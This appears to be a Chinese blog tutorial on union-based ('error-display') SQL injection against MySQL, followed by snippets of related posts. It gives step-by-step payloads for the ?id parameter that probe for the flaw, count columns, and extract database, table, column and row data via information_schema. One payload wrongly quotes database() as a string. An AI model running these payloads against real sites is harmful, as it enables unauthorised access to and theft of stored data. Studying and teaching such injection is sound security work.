sql注入之顯錯注入

2021-09-21 02:20:53 字數 1235 閱讀 6131

1.判斷是否存在注入點:

在正常輸入後面新增and 1=1 檢視是否正常回顯。如果一切正常說明該處存在注入點。#是資料庫查詢的結束標誌。

?id=1' and 1=1#

這裡的?id=1』使用單引號閉合查詢語句。不同的查詢寫法使用響應的閉合方式

2.猜解字段數。

每乙個資料庫查詢語句的結果都是乙個**,使用order by查詢該查詢結果一共查詢了幾個字段。因為使用union查詢前後的字段數必須一致。

?id=1' and 1=1 order by 1#

?id=1' and 1=1 order by 2#

.....

一致嘗試直到頁面返回錯誤,得到字段數。

3.查詢聯合輸出點

查詢結果有多個字段,但不是每乙個欄位都在頁面上有所顯示,故使用union查詢輸出點。

?id=1' and 1=2 union select 1,2,3#

這裡使用了乙個1=2讓前半句查詢失效,這樣查詢的結果就是1,2,3.在頁面中查詢輸出,發現是3,就表明查詢的第3個字段是輸出點。

4.查詢資料庫名

?id=1' and 1=2 union select 1,1,database()#

5.利用mysql系統自帶庫查詢資料庫中的表名

?id=1' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema='database()' limit 0,1#

這裡資料庫可能不只有乙個表,所以在查詢結果後面使用limit 逐個輸出。

6.利用mysql系統自帶庫查詢資料庫中表的字段

?id=1' and 1=2 union select 1,2,column_name from information_schema.columns where table_name='***' limit 0,1#

這裡的***就是上一步查詢出來的表名字,逐個表查詢。

7.查詢目標內容

已知了表名、列名,猜測最有價值的字段,直接查詢其內容。

?id=1' and 1=2 union select 1,2,*** from yyy limit 0,1

查詢yyy表中的***字段內容。

SQL注入 顯錯注入

顯錯注入 步驟1 判斷是否存在注入點 步驟2 猜解字段數 步驟3 聯合查詢找出輸出點 步驟4 去系統自帶庫查詢表名和欄位名 步驟5 查詢我們需要的欄位名 步驟1 判斷是否存在注入點 192.168.1.10 1 id 1 這裡可以用id 1 來確定是否存在注入點,192.168.1.10 1 id ...

mysql錯誤回顯注入 sql注入 顯錯注入

前提知識 資料庫 就是將大量資料把儲存起來,通過計算機加工而成的可以高效訪問資料庫的資料集合 資料庫結構 庫 就是一堆表組成的資料集合 表 類似 excel,由行和列組成的二維表 字段 表中的列稱為字段 記錄 表中的行稱為記錄 單元格 行和列相交的地方稱為單元格 在資料庫裡有乙個系統庫 inform...

mysql顯錯注入 MySQL注入之顯錯注入

庫 就是一堆表組成的資料集合 資料庫裡自帶的系統庫 information schema information schema裡columns表裡存著所有欄位名 information schema裡schemata表裡存著所有庫名 information schema裡tables表裡存著所有表名...